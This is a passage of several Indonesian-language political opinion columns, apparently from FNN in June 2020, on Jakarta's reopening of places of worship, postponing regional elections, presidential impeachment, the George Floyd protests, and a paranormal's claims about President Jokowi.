dinilai sesat dan menyesatkan. Kita wajib menyelamatkan bangsa dan negara dari penghianatan yang selalu terjadi berulang-ulang. Penulis adalah Pemerhati Politik dan Kebangsaan.

Transisi PSBB, Anies Prioritaskan Buka Tempat Ibadah

by Tony Rosyid Jakarta FNN – Senin(08/06). Di tengah tekanan sejumlah pihak agar gubernur DKI membuka mall, pasar, tempat wisata dan sejumlah gerai bisnis, Anies justru membuka tempat ibadah. Anies mendahulukan pembukaan tempat-tempat ibadah, daripada pusat-pusat perbelanjaan dan tempat wisata. Sebelumnya, Anies menghubungi seorang ulama, yang menjadi salah satu pengurus aktif di Majelis Ulama Indonesia (MUI) Pusat. Setelah berbincang ,yang intinya Anies minta nasihat, arahan dan fatwa terkait shalat jumat berjamamaah di masjid. Inilah pejabat yang paling bener. Pertama, agama harus dijadikan pondasi yang kokoh dalam kehidupan berbangsa dan bernegara. Komitmen beragama dapat menjadi landasan moral dalam mengelola negara. Hilang atau menipisnya landasan agama, mengakibatkan pelanggaran hukum terjadi, termasuk korupsi. Negara ini harus punya ruh. Dan ruh itu sila Ketuhanan Yang Maha Esa. Sebagaimana tertuang di sila pertama dari Pancasila. Setelah agama, masjid, gereja dan tempat ibadah lain juga dibuka. Setelah itu baru mall dan bisnis lainnya. Begitu kata Jusuf Kalla, Ketua Dewan Masjid Indonesia. Kedua, umara (pemerintah) mestinya minta fatwa soal agama ke ulama. Jangan malah umara yang ngasih fatwa ke ulama. Kebalik jadinya. Maknya ngaco. Serahkan persoalan kepada ahlinya. Atau tunggu datangnya petaka. Waduh... Ngeri kan… Hari berikutnya, MUI rapat. Pro kontra dalam diskusi terkait teknis shalat jumat terjadi. Adu dalil dan argumentasi berjalan normal. Terkait shalat berjarak, masjid diperluas, mushalla digunakan untuk shalat jumat, hingga shalat jumat dua-tiga kali di satu tempat. Setelah melalui perdabatan yang alot dan panjang, Akhirnya, fatwa MUI Nomor 31 Tahun 2020 keluar. Keputusannya, shalat jumat seperti biasa dengan protap covid-19. Fatwa ini yang dijadikan pegangan Anies untuk membuat kebijakan membuka tempat-tempat ibadah. Agama sebagai basis Ketuhanan sebagaimana Sila Pertama Pancasila, harus dikembalikan fungsinya jadi pondasi bernegara. Untuk mengembalikan sila pertama jadi pondasi bernegara dan berbangsa, nggak perlu harus dibuat lembaga seperti BPIH, atau UU Haluan Ideologi Negara (HIP). Ujung-ujungnya, malah konser. Orang lain ikut konser, ditangkap. Pening kepala rakyat. Pancasila dengan lima sila itu jelas, tegas dan mudah dipahami. Rakyat sangat ngerti ko. Pakai banget lagi. Berbagai upaya regulasi, formulasi dan penafsiran seringkali malah membuat rakyat bingung. Yang muncul justru Pancasila dalam berbagai versi kepentingan. Yang dibutuhkan rakyat cuma satu, “keteladanan pemimpin”. Kalau para pemimpin dan elit politik itu bersikap dan bertindak ala Pancasila, rakyat ngikut saja. Rakyat hanya ingin lihat para pemimpinnya itu menjalankan Pancasila nggak? Itu saja, titik. Nggak perlu pakai teriak-teriak "Aku Pancasila". Itu kuno! Gimana cara hidup yang pancasialis tersebut? Gampang bangat. Semua regulasi dan kebijakan mesti berorientasi untuk rakyat. Tujuannya untuk mensejahterakan, terutama pada aspek ekonomi. Bukan untuk kepentingan oligarki dan konglomerat. Apalagi yang aseng. Contoh lainya, kalau bicara jujur dan terukur. Kalau janji, ya ditepati. Jangan adu-domba masyarakat. Jaga itu persatuan dan kesatuan, dengan tidak menggunakan anggaran untuk buzzer. Adil dalam penegakan hukum. Ini diantara cara hidup Pancasilais. Mosok harus diajarin lagi sih? Dalam Pancasila itu, sila pertama menjadi ruh dan pondasi bagi empat sila berikutnya. Tanpa sila pertama, humanity dalam sila kedua, nasionality di sila ketiga, democracy yang tertuang dalam sila keempat, dan social justice di sila kelima tak akan terwujud. Paham itu. Ketuhanan tidak cukup di tempat ibadah. Tapi harus jadi ruh perundang-undangan dan kebijakan pemerintah dengan parlemen. Aspek ketuhanan diantaranya diukur dari kejujuran. Jujur nggak ketika parlemen membuat undang-undang, dan pemerintah menerbitkan aturan serta kebijakan. Kemanusiaan yang adil dan beradab mesti ditunjukkan dengan tegaknya hukum dan aturan. Nggak pilih-pilih berdasarkan warna politik, pri dan non-pri. Persatuan tidak memberi peluang kepada "buzzer premium" yang selama ini bikin gaduh. Buzzer yang juga telahmerusak keutuhan berbangsa. Kerakyatan itu demokrasi yang menghargai perbedaan suara dan kebebasan berpendapat. Tak ada lagi terror terhadap diskusur yang dilakukan civil society. Apalagi asal main tangkap. Keadilan sosial tak mengenal mana pendukung dan mana yang bukan pendukung. Ini tercapai jika ketuhanan sebagai simbol ketulusan dan kejujuran jadi landasan dasar bernegara. Ini yang mungkin jadi alasan mengapa Anies mengawali masa transisi PSBB ini dengan membuka tempat ibadah. Ini simbolis. Pesannya, “kembali ke sila pertama dalam Pancasila”. Jadikan Tuhan sebagai basis untuk menjaga ketulusan dan kejujuran dalam mengelola negara. Dari sini akan muncul keadilan dan persatuan. Dua kata yang berulang-ulang diungkapkan, dan sangat digemari oleh gubernur DKI ini. Tidak hanya masjid yang dibuka Anies, tetapi semua tempat ibadah. Termasuk gereja, wihara, pure dan klenteng. Kalau para pemimpin betul-betul mengelola negara berbasis Ketuhanan Yang Maha Esa, maka keadilan sosial bagi seluruh rakyat Indonesia (sila kelima) akan terwujud. Lalu, kapan Spa dibuka? Cukup Kepala Dinas Pariwisata dan Ekonomi Kreatif Pemprov DKI yang jawab. Dari 18 sektor usaha di Jakarta, sektor wisata seperti Spa, gerai pijat dan karaoke dibuka nanti yang paling terakhir. Belakangan! Saja. Dan tak segan untuk dicabut ijin usahanya jika disalahgunakan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Haji Yang Wajib Ditunda, Pilkada Dipaksakan 2020

by M. Rizal Fadillah Jakarta FNN – Ahad (07/06). Memaksakan pelaksanaan Pilkada serentak 9 Desember 2020 sangat tidak bijak rasional. Apalagi Pilkada yang tanpa peduli, apakah pandemi covid 19 telah selesai atau belum? Tentu saja dapat menimbulkan masalah baru. Masalah utama adalah anggaran yang besar untuk Pilkada, yang harus disiapkan di tengah prioritas penanganan covid 19. Apalagi baru saja Ketua KPU tanpa malu-malu telah meminta anggaran tambahan sebesar Rp. 535 miliar untuk membeli Alat Pelindung Diri (APD). Belum lagi dampak kesehatan yang bakal timbul kelak. Akan terjadi pengumpulan massa sebagaimana biasanya musim kampanye. Pertemuan-pertemuan dilakukan dengan intensif. Memakai media zoom dinilai tidak lagi efektif untuk berkempanye Pilkada. Pemilu di TPS tidak mungkin menggunakan "zooming". Kalau dengan e-voting dijamin pasati curang. Pada pencoblosan manual saja perhitungan elektronik begitu leluasa dimainkan. Apalagi ditambah dengan kemungkinan adanya "hacker". Kecurangan diprediksi semakin besar. Peran Lembaga Pengawas Pemilu akan terbatas perannya jika covid 19 masih mengintai. Juli 2020 harus sudah mulai pentahapan Pilkada. Artinya, data pemilih dan verifikasi juga telah mulai. Sementara "physical distancing" dipastikan masih berlaku sampai Juli 2020 nanti. Tidak cukup hanya dengan bermodal masker dan sanitizer untuk melakukan tahap-tahapan Pilkada. Bila tidak ingin berjatuhan korban, khususnya para Petugas Pengumutan Suara (PPS), maka sebaiknya Pilkada ditunda saja dulu. Lain halnya kalau kita memang sudah terbiasa untuk "menumbalkan" petugas penyelenggara dengan kematian yang tidak terverifikasi ? Jangan lagi berulang kebiasaan untuk mengentengkan urusan kesehatan dan nyawa para petugas penyelenggara pemilu. Cukup pemilu 2019 lalu yang mengorbankan nyawa 894 petugas PPS, cukup menjadi pelajaran paling pahit catatan demokrasi Indonesia (FNN.co.id 04/06/2020). Ketika Perppu dan Undang-Undang dibuat untuk penggunaan dana corona, yang katanya "darurat" sehingga tak bisa diawasi. Ketika ibadah haji harus ditunda. Karena dana dari APBN digunakan dulu untuk penanggulangan pandemi covid 19. Eh, soal Pilkada yang semestinya bisa diundur atau ditunda, malah dipaksakan waktu pelaksanaannya. Rakyat dipaksa digiring fikiran dan orientasinya kepada Pilkada. Sungguh kebijakan sangat tidak bijak. Presiden juga masih "tidak jelas" sikap antara kampanye "new normal" dengan kekhawatiran akan belum stabilnya angka ODP dan PDP. Masyarakat masih "stay at home" dan "work from home". Begitu juga PSBB di beberapa daerah dilakukan perpanjangan waktu. Kini aneh, jika rakyat atau masyarakat sudah harus berkonsentrasi pada kegiatan politik di daerah. Menunda Pilkada adalah pilihan bijaksana. Sense of crisis harus tetap dibangun dan ditanamkan. Jangan berdemokrasi setengah hati. Pilkada dengan banyak pembatasan dipastikan akan melanggar hak-hak politik warga. Tunggu dulu waktu yang tepat. Orang beribadah haji saja sampai ditunda. Tempat umum dibuka juga baru coba coba. Pilkada mau dipaksakan. Tundalah Pilkada. Tanggal 9 Desember 2020 terlalu dekat untuk tahapan Pilkada. Penuh dengan spekulasi tingkat tinggi bahwa pandemi covid 19 telah selesai ketika itu. Di tengah ketidak pastian dunia, baiknya pencanangan Pilkada minimal dilaksanakan pada tahun 2021. Penundaan ke 2021, tampaknya itu lebih rasional. Ketua KPU juga tak perlu mengemis dari sekarang minta tambahan anggaran sebesar Rp. 535 miliar hanya untuk pengadaan APD. Sangat menggelikan, sekaligus menyedihkan. Penulis adalah Pemerhati Politik dan Kebangsaan

Impeachment Itu 90% Rana Politik, Hukum 10%

by Dr. Margarito Kamis, SH.M.Hum Menurut Blakcstone “kejahatan berat” bermakna kejahatan melawan negara, seperti penghianatan. Sementara “perbuatan tercela yang berat” merujuk pada korupsi dalam jumlah besar dan pemerintahan yang salah urus (Richard M. Tivus). Jakarta FNN – Ahad (07/06). Kekuasaan, dengan sedikit kekecualiaan, selalu mengenakan, mengasyikan, dan membanggakan. Kombinasi manis ketiga hal itu mengakibatkan kekuasaan selalu dirindukan oleh banyak orang yang tak berakal, dan tak berilmu. Tunggang langgang membungkuk, mencium tangan-tangan kotor uang sekadar membuka jalan setapak demi setapak memasuki dan menggenggam kekuasaan itu. Btulah akibat kecilnya. Tak melihatnya sebagai cara hina. Itulah akibat lainnya. Toh demokrasi mengkhutbahkannya sebagai cara yang sah. Ambisi, yang posisinya bersebelahan dalam jarak yang dekat adalah rakus dan tamak. Membakar semua rasa malu. Semua yang dinilai merendahkan terbakar hangus jadi debu. Beterbangan, entah kemana. Bohong, mencla-mencle dan planga-plongo muncul sebagai yang hal biasa. Itu juga akibat lain yang paling menjijikan, tetapi harus diambil demi kekuasaan. Jinakan Ambisi, Hindari Tirani Korupsi dikekuasaan Romawi, tulis Profesor Syed Husen Al-Atas, menunjuk pada sumbernya dengan sejelas-jelasnya, “kerakusan manusia dan kegandrungannya pada kekuasaan”. Tidak seorangpun, kata Profesor hebat ini, akan menunjuk pada pengaruh kesukuan, sistem semenda, lembaga hadiah, atau perkembangan yang cepat. Keberhasilan Cicero melawan Gaius Verres menunjukan adanya kesadaran bahwa apa yang dilakukan Veres adalah salah. Alasan pokok bagi merajalelanya korupsi, kata professor Al-Atas adalah tipe orang yang naik ke tampuk kekuasaan. Yang dalam sejarahnya, diawali oleh Yulius Caesar, yang tegar, kurang perhitungan dan korup. Gaiyus Veres dan Yulius Caesar, dua nama itu tak muncul dalam perdebatan para pembuat UUD Amerika. Nama inipun tak muncul ketika mereka memperdebatkan soal impeachment. Itu berbeda dengan, misalnya nama George II. Raja Inggris ini cukup jelas dimunculkan, dengan nada ketakutan, karena absolutismenya. Nama Raja George II ini, muncul dalam perdebatan tentang penciptaan presidensial. Hidup dan menyaksikan, bahkan sebagian dari para perancang UUD itu menjadi gubernur negara bagian. Yang sebagian mempraktekan sistem parlemen ala Inggris. Mengakibatkan mereka menolak sistem parlementer untuk pemerintahan federal yang sedang dirancang. Pilihannya jatuh pada presidensial. Yang pada saat itu belum ada presedennya. Menariknya, pilihan itu tak menghapuskan ketakutan mereka terhadap potensi presiden jadi tiran. Pada titik ini terlihat agak aneh. Mengapa? Mereka tidak mau diganggu oleh parlemen, sehingga meletakan kekuasaan pemerintahan itu sepenuhnya pada presiden. Itu terjadi ditengah mereka dibayangi ketakutan presiden bisa menjelma jadi tiran. Pada titik itu, harus diakui mereka cemerlang. Ketakutan itu dipecahkan dengan cara fungsi tiga cabang kekuasaan, eksekutif, legislative dan yudikatif dipertalikan satu sama lainnya secara tumpang tindih. Tiga organ ini dipisahkan secara formil. Tetapi dipertalikan fungsinya secara materil, sehingga mereka saling bergantung dan mengawasi. Teori Montesqieu dan John Locke, hanya bekerja sebagian. Kedua teori itu disintesakan dan diambil sebisanya saja. Tetapi apapun itu, argumen mereka yang praktis, khususnya James Madison, perancang Virginia Plan (rancangan awal UUD) mereka, memukau melebihi kedua filosof itu. Dua kalimat pendeknya, terlihat benar-benar memukau. Cahayanya melampaui zaman. karena relefansinya bekerja sampai sekarang. Apa dua kalimat itu? Ambition, kata Madison. must be made counteract with ambition. Berhentikah Madison dengan kalimat itu? Tidak. Kalimat selanjutnya juga hebat. Kalimatnya begitu utuh, seutuh dia mendengar cerita alam tentang tabiat bawaan, alamiah, manusia. Hingga kini kalimatnya mengesankan. “the interest of the man must be connected with the constitutional rights of the place” (Lihat The Federalist Paper, Nomber 51). Batas kewenangan presiden dipertalikan dengan, misalnya kewenangan legislatif dan juga yudikatif. Semua kewenangan itu dipertalikan juga dengan hak-hak asasi warga negara. Tujuannya sederhana. Pemerintah tidak merusak kehidupan individu, yang menjadi hak rakyatnya. Begitulah, makna dan hakikat dari kalimat terakhirnya itu. Cara itu memunculkan konsekuensi satu lembaga tidak bakal bisa mendominasi, atau menjadi tiran bagi lembaga lainnya. Itulah pijakannya. Sekaligus hakikat dari cheks and balances. Selesaikah ketakutan mereka terhadap kemungkinan presiden menjadi tiran? Belum. Ketakutan itu masih bekerja lagi. Memaksa mereka menemukan metode pencegahan lainnya. Apa metodenya? Batasi masa jabatan presiden, dan memungkinkan presiden diberhentikan dari jabatannya. Cara terakhir itu dikenali sebagai pengawasan terhadap presiden. Ini yang dijelaskan oleh Richard Tivus, penulis artikel “Kekuasaan Presiden” pada Majalah Demokrasi. Pada tahun 2003, Profesor ilmu politik ini memegang jabatan kepala Departemen Ilmu Politik Bernard College. Juga mengajar pada Graduate School of Arts and Science Colombia University. Hal terpenting, dari tulisnya, pengawasan terhadap presiden melibatkan tindakan pencegahan pelengkap. Tindakan pelengkap itu berupa impeachment, dan pemecatan karena “kejahatan berat (hight crimes) dan perbuatan tercela (misdemeanor). Professor Richard menguraikan lebih lanjut. Merupakan istilah kejahatan yang diambil dari praktek hukum Inggris berdasarkan penjelasan hukum Inggris (Commentaries on law of England) dari Lord Blacstone. Bagaimana ceritanya hingga cara ini melembaga menandai, sering digambarkan oleh ahli hukum tata negara sebagai ciri pemerintahan presidensial? Tivus tidak menjelaskannya. Politik Penentunya Sulitkah impeach itu? Bukan saja sulit, tetapi mustahil bila bos-bos mereka tidak mau. Sebaliknya, impeach menjadi begitu mudah semudah semua politisi bernapas, bila bos mereka bilang go ahead. Sederhana sekali. Ini nilainya bisa 90% impeach pasti terlasana. Hukum? Oh ini soal paling kecil. Nilainya paling Cuma 10% saja. Malah bisa kurang. Apalagi hukum tata negara. Hukum tata negara berjarak hanya beberapa milimeter dari politik. Bukankah impeach itu semata-mata hukum? Bukankah impeach adalah cara hukum untuk pemberhentian presiden? Betul. Impeachment pertama dalam sejarah tata negara Amerika, sepenuhnya bicara tentang politik. Yang meminjam hukum sebagai tumpangannya. Tidak lebih. Impeachment itu bicara secara terang-terangan tentang pertarungan antara republikan dengan demokrat. Andrew Johnson yang diimpeach itu presiden dari Demokrat, diimpeach oleh partai Republik. Dimensi dasarnya jelas. Impeach ini betul-betul bergantung pada elit politik. Fokus dan percepatan rekonstruksi negara-negara Selatan, hanyalah satu isu. Ini jadi soal. Mengapa harus dijadikan isu? Bukankah negara-negara Selatan telah mengalami kerusakan sehingga harus direkonstruksi? Dimanakah letak tidak logisnya tindakan rekonstruksi Presiden Andrew Johnson, yang akhirnya diimpeach? Isu ini dicatat oleh Ralp Epperson. Jatuh dan bertemu dengan isu lainnya. Isyu lain itu adalah hutang pemerintah kepada Swasta, termasuk usaha mati-matian para banker pendirian Bank Sentral, serta ancang-ancang partai republik membawa Edwin Stanton, menteri pertahanan yang diberhentikan oleh Andrew Johnson, menjadi presiden. Inilah gunung isu kala itu. Betul Presiden Johnson diimpeach, karena memberhentikan Edwin Stanton dari jabatan Menteri Pertahanan. Tindakan ini dikualifikasi tercela, karena Presiden tidak meminta persetujuan Senat. Itu saja tuduhannya. Politik telah bekerja mengubah, dalam makna memberi bobot hukum pada tindakan itu menjadi alasan impeachment untuk Presiden Johnson. Tidak ada korupsi, tidak ada suap, tidak ada penghianatan terhadap negara. Hanya ada misdemeanor, perbuatan tercela. Simple betul menemukan senjata itu. Politik bekerja memudahkannya. Konfigurasi politik yang menentukan. Bukan soal lain. Kasus ini Johnson diselematkan hanya dengan satu suara. Konfigurasi politik di Kongres bekerja untuk impeachment Presiden Richard Nixon. Ini impeach kedua dalam sejarah Amerika. Sebabnya sederhana. Pekerja perbaikan pipa air di kantor Demokrat, ternyata orang-orangnya. Mereka mengambil info untuk digunakan Nixon pada kemenangan pemilu 1972, untuk masa jabatan kedua kalinya. Tindakan ini dikenal, skandal Watergate, menjadi dasar tuduhan. Itu saja? Secara formal, Demokrat yang gunakan. Tetapi itu gambaran kecil. Gambaran besarnya, impeachment ini teridentitikasi sebagai wujud pertarungan besar. Pertarungan itu meliputi pro-kontra kebijakan perang Vietnam, kebijakan pemberantasan narkoba, dan kebijakan perminyakan di Timur Tengah. Satu hal menarik impeach ini adalah sikap Jaksa Agungnya, Elit Richarsdson. Ia menolak perintah Nixon uuntuk memberhentikan Archibal, professor yang bertindak sebagai jaksa penyelidik independen pada kasus Watergate itu. Alsannya mengagumkan, dia tidak mengabdi pada presiden, melainkan kepada keadilan, kepada hokum, kepada bangsa dan kepada konstitusi. Selalu begitu politik impeachment. Tidak pernah bicara secara tunggal tentang penyebabnya. Ini terlihat juga pada impeachment Presiden Bill Clinton dari Demokrat. Presiden ini diimpeach oleh republik. Tuduhannya misdemeanor. Tuduhan ini dibangun atas dasar affairnya dengan karyawan Gedung Putih, Monica Lewinsky. Tidak lebih dari itu. Begitulah politik. Ken Star, pada kasus Clinton bertindak sebagai jaksa penyelidiki independen. Tetapi pada kasus Trumph, dia bertindak sebagai pengacara Trump. Dan menariknya, Alan Dershowitz yang pada kasus Clinton justru membela Clinton, tentu berbeda pendapat dengan Ken Star, keduanya bersatu dan berada kubu Tump. Tuduhan Demokrat bahwa Trump menyalhgunakan kekuaasan, lolos di House of Representative, yang didominasi Demokrat, tetapi kandas di Senat, yang didominasi Republik. Trump dinilai menggunakan kebijakan bantuan keuangan terhadap Ukraina, sebagai alat menghentikan Joe Biden, calon lawannya pada Pemilu Presiden November 2020 ini. Alan Dershowitz kembali mendemonstrasikan argumennya ketika membela Clinton. Dia berpendapat, tuduhan itu tidak sesuai kriteria teknis konstitusi tentang kejahatan. Loloskah kedua orang ini karena argumen hukum? Mungkin. Tetapi keduanya lolos pada konfigurasi politik yang sama. Trump lolos di tengah Senat yang didominasi Republik, dan Clinton juga lolos dari impeach di tengah Senat didominasi Demokrat. PDIP dan Empat Partai Lain Trump, sama dengan Bill Clinton. Keduanya lolos dari tembakan senjata berkarat itu, karena Senat dikontrol oleh partai mereka. Titik. Tidak lebih. Dan seperti sebelum-sebelumnya, kasus ini juga menunjukan politik mengemudikan hukum tata negara. Bukan sebaliknya. Hukum tata negara, dalam tipikalnya sebagai politik yang diberi bentuk normatif. Lebih dari jelas, daya kerja norma tata negara bergantung penuh pada daya kerja politik. Kerja politik impeach bergantung pada kenyataan tak menyenangkan partai politik, yang berada diseberangnya. Selalu begitu. Kemudahan dan kerumitan, karena itu tidak terletak pada hukum. Liku-liku rumit yang terkerangkakan dalam pasal 7A dan 7B UUD 1945, dalam kasus Indonesia, bisa berubah menjadi hal mudah semudah politisi berganti partai. Apalagi pasal 7A itu menyediakan loophole besar. Apa loopholenya? Apa itu norma atau konsep “penghianatan terhadap negara? Apa itu korupsi, apa itu tindak pidana berat lainnya, atau apa itu perbuatan tercela, yang merupakan alas an pada pasal 7A UUD 1945? Debatnya pasti panjang. Akhir debat ditentukan oleh kekuatan politik. Titik. Tidak lebih Konfigurasi politik Kongres atau DPR, tidak bisa disembunyikan sebagai satu-satunya fariabel penentu sukses atau gagalnya impeach. Tidak lain dari itu. Itu diperlihatkan secara telanjang disepanjang jalan impeach sebanyak empat kali di Amerika. Konstelasi dan komposisi politik itu juga bicara pada tiga peristiwa pemberhentian Bung Karno, Pak Harto dn Pak Abdurrahman Wahid. Pemberhentian mereka memang tak bisa dikerabngkakakn dalam impeach khas pasal 7A dan 7B UUD 1945, tetapi impeach bekerja dengan cara yang mirip. Konstelasi politik faktual, sejauh ini memberi gambaran jelas. PDIP melalui eksponennya telah bicara mengenai sulitnya impeach. Kerumitan dan bergelombangnya prosedur hukum yang dipandu UUD 1945 dan UU Nomor 17 Tahun 2014 memang memungkinkan PDIP bicara mengenai kesulitan impeach. Apalagi PDIP. Bukan Gerindra, bukan Golkar, bukan PKB, juga bukan Nasdem. Elit-elit partai, mungkin dan sejauh bisa, harus dipastikan satu gelombang dengan presiden. Itu mutlak. Sejarah impeach sepenuhnya merupakan sejarah politik para elit. Impeach itu ya soal elit. Tidak lain dari elit. Penulis adalah Pengajar HTN Universitas Khairun Ternate

Disunited States of America

By Asyari Usman Jakarta FNN - Sabtu (06/06). Slogan Donald Trump terinjak-injak di tengah gelombang penjarahan di seluruh pelosok United States of America (USA). “Make America Great Again” kini terancam menjadi “Make America Grain Again” (alias Membuat Amerika Menjadi Tepung Kembali). Persis. Amerika Serikat (AS) menjadi tepung. Gara-gara perlakuan kejam terhadap George Floyd (GF). Warga kulit hitam ini mati di tangan seorang polisi kulit putih yang menangkapnya. Rekaman video peristiwa ‘injak batang leher’ itu sangat dahsyat kekuatannya. Menyulut amuk massa yang luar biasa besar. Di seluruh Amerika. Selama berhari-hari. Disertai dendam penjarahan (looting). Suasana saat ini sama seperti ketika pejuang hak sipil kulit hitam, Marthin Luther King Jr (MLKJ) terbunuh pada 1968. Bedanya, pada waktu itu, bentrokan yang terjadi adalah antara warga kulit hitam dan orang kulit putih. Sedangkan bentrokan yang terjadi hari ini adalah antara warga kulit hitam plus warga kulit putih lawan polisi dan tentara. Bahkan, kata Martin Luther King III, anak MLKJ, dalam unjukrasa 2020 ini lebih banyak orang kulit putih yang turun ke jalan ketimbang orang kulit hitam. Tetapi, bagaimama pun juga, aksi ptotes kematian Floyd pastilah akan mengusik kembali hubungan rasial di AS. Dan bisa-bisa terjadi proses ‘rewind’ 1968. Meskipun ‘equality of rights’ (persamaan hak) dan ‘equality before the law’ (persamaan di mata hukum) di AS boleh dikatakan sudah terbangun kokoh. Rasisme masih ada. Baik di lingkungan birokrasi, lingkungan pendidikan, maupun lingkungan bisnis. Begitu juga di bidang olahraga. Banyak yang berpendapat bahwa di era Presiden Donald Trump ini, rasisme merasa mendapatkan siraman pupuk. Misalnya, di tengah pembicaraan tentang rasisme di AS sedang ramai saat ini, suara Trump tidak terdengar sama sekali. Sudah banyak perusahaan besar, manajer senior, atlet, politisi, dlsb, mencela keras rasisme. Namun, Trump masih membisu. Padahal, dia sendiri dulu sering mengeluarkan ucapan yang bernada rasisme. Itu semua belum dia ‘delete’. Presiden memang menjanjikan bahwa keadilan akan ditegakkan dalam kasus Floyd. Tetapi, tidak ada kecaman dia terhadap peristiwa kekerasan ‘putih-hitam’ yang menunjukkan bahwa rasisme di AS masih belum padam. Mungkin, itulah sebabnya dalam beberapa hari ini unjukrasa publik terarah ke Trump. Banyak orang yang menginginkan dia lengser. Tetapi, Trump juga punya pendukung yang kuat. Boleh jadi dia merasa rakyat AS masih setia kepadanya. Inilah yang masih perlu dilihat setelah hurahara kematian Floyd mereda. Dalam situasi rumit seperti sekarang ini, biasanya presiden AS mana pun akan tampil mengutuk rasisme. Loud and clear. Keras dan lantang. Entah apa yang membuat Trump ‘mengurung’ diri dari perdebatan luas tentang hubungan rasial yang sedikit-banyak sedang terganggu saat ini. Barangkali saja, Trump tidak menghiraukan dampak jangka panjang peristiwa ini. Presiden seharusnyalah melihat bahwa kematian Floyd bisa memantik perpecahan yang signifikan. Konsekuensi Floyd tidak hanya “Make America Grain Again” tetapi bisa juga mendorong United States of America (USA) ke sisi Disunited States of America (DSA). Tentu bukan ‘union of states’-nya yang bubar, melainkan pengkotak-kotakan rasialnya yang mengeras lagi. Wallahu a’lam. Penulis Adalah Wartawan Senior

Pemakzulan Presiden Ala Paranormal

by M. Rizal Fadillah Jakarta FNN – Sabtu (06/06). Setelah ramai berita kegagalan acara diskusi ilmiah yang bertema Pemakzulan Presiden di kampus Universitas Gajah Mada (UGM), lalu ada kajian ilmiah diskusi soal yang sama yakni "Pemakzulan". Acara ini diselenggarakan Mahutama. Para pembicara antara lain Prof. Dr. Dien Syamsuddin, Prof. DrRefly Harun dan lainnya. Pada diskusi melalui virtual zoom ini, muncul pula melalui video tema pemakzulan Presiden. Video ini diungkapkan oleh paranormal Ki Sabdo Jagad Royo. Intinya meramalkan Presiden Joko Widodo akan lengser atau segera dimakzulkan. Video menampilkan tiga babak. Babak pertaman, sebelum menjabat periode 2019-2024. Babak kedua, saat pelantikan Oktober 2019. Babak ketiga, setelah menjabat 2019-2024. Ki Sabdo Jagad Royo adalah paranormal, yang menurut dirinya membantu menyukseskan keberhasilan Joko Widodo untuk menjabat Gubernur DKI, Presiden periode 2014-2019 serta terakhir Presiden periode 2019-2024. Ada nada kecewa Ki Sabdo Jagad Royo akibat "penghianatan" Joko Widodo dalam video viral tersebut. Pada sesi awal, Ki Sabdo menerangkan bahwa Joko Widodo sudah ditempelkan makhluk gaibnya Nyi Roro Kidul oleh Ki Sabdo sehingga sukses mendapat jabatan Gubernur hingga Presiden. Namun Joko Widodo berkhianat tidak membayar kesuksesan atas bantuan tersebut. "Kalau Nyai Roro Kidul saya ambil maka Joko Widodo pasti lengser". Menurutnya, Joko Widodo itu seperti "kacang lupa kulitnya". Ki Sabdo Jagad Royo mengancam "memakzulkan" Jokowi karena suksesnya itu tergantung Ki Sabdo. "Yang pasang Nyai Roro Kidul adalah saya". Entah kemudian pembayaran beres atau lainnya, pada bulan Oktober 2019 menjelang pelantikan, Ki Sabdo Jagad Royo bersemedi di Gedung Nusantara V DPR RI untuk mengamankan agenda pelantikan. Waktu itu Ki Sabdo memanggil atau memasang makhluk halus Nyi Roro Kidul, Nyi Blorong, jin Kahyangan dan lainnya. Ki Sabdo membenarkan usahanya itu atas perintah dari Joko Widodo. Dijamin pelantikan berjalan lancar. Tidak jelas waktu nampaknya sesi ketiga setelah pelantikan, Ki Sabdo mengancam pemakzulan kembali karena mungkin pembayaran yang tidak beres. Ia sengaja membuat video lanjutan. Teriak soal pembayaran gaji kepada Jokowi. Lalu Ki Sabdo Jagad Royo menyatakan bahwa jabatan Joko Widodo tidak akan sampai finish alias dilengserkan. Joko Widodo berkhianat pada dirinya. Ki Sabdo Jagad Royo berujar dengan kalimat kutukan dan ancaman pelengseran yang jelas dan meyakinkan. Memang pernyataan Ki Sabdo Jagad Royo ini bikin heboh. Mengungkap tentang mistik-mistik di sekitar kekuasaan Joko Widodo. Hebatnya lagi, Ki Sabdo Jagad Royo siap mempertanggungjawabkan secara hukum atas sikap atau pernyataan "bantuan spiritual" nya ini. Perlu klarifikasi. Apakah tindakan Ki Sabdo Jagad Raya ini adalah "pemerasan", atau memang tagihan dari kesepakatan "bisnis hantu" diantara keduanya? Akhirnya kita bangsa Indonesia merasa prihatin atas kekacauan spritualitas pemimpin negara. Konsep Ketuhanan yang bergeser menjadi Kehantuan. Ketauhidan "Yang Maha Esa" berubah dengan Kemusyrikan "Yang Membuat Binasa" bangsa ini. Tak jelas reaksi Presiden Joko Widodo, yang diramalkan paranormal Ki Sabdo Jagad Royo bakal dimakzulkan di tengah jabatannya ini. Apakah menertawakan, gemetar, atau merasa kuat karena telah memiliki Paranormal tandingan lain? Jika yang dikatakan Ki Sabdo Jagad Royo adalah hoaks, maka Joko Widodo mesti berani memproses secara hukum. Jangan biarkan masyarakat terkecoh atas isu-isu yang berkeliaran. Apalagi di tengah wabah corona, kita masih saja dipertontonkan adegan konser mistik perhantuan di sekitar Istana. "Wao wao heboh heboh", kata Ki Sabdo Jagad Raya. New normal diterjang paranormal yang membuat Istana semakin terlihat ikut-ikutan abnormal. Semoga tidak terlalu banyak predikat untuk istana Presiden, selain istana boneka (doll castle), istana labirin (labyrinth palace) dan istana hantu (ghost palace). Penulis adalah Pemerhati Politik dan Kebangsaan.

Lumayan, Bisa Menonton Cara Kerja Akal Sehat di Amerika

By Asyari Usman Jakarta, FNN - Penjarahan dan tindak kekerasan yang melanda seluruh pelosok Amerika Serikat. Tentu saja bukan akal sehat. Semua ini tidak dapat dijustifikasi. Tetapi, ada “akal sehat” lain dalam rangkaian aksi protes yang disulut oleh kematian George Floyd di tangan seorang polisi kulit putih. “Akal sehat” itulah yang tidak ada di negeri seperti Indonesia. Yaitu, reaksi yang seragam dari warga yang berbeda pilihan politik terhadap kesewenangan negara. Kesewenangan aparat hukum. Kasus penyiksaan dan kematian George Floyd membawa semua orang, tanpa kecuali, berkumpul di satu front –yaitu, front anti kesewenangan. Sebagaimana di sini, di Amerika pun ada “cebong” dan “kampret”. Katakanlah saat ini pendukung Donald Trump dan Partai Republik ada di posisi “cebong” dan pendukung Demokrat di posisi “kampret”. Tetapi, ketika kesewenangan dan ‘abuse of power’ dilakukan oleh aparatur negara, cebong dan kampret Amerika menjadi bipartisan. Rakyat menjadi satu suara. Mereka, dengan “akal sehat” aslinya –“akal sehat” nuraninya-- turun ke jalan. 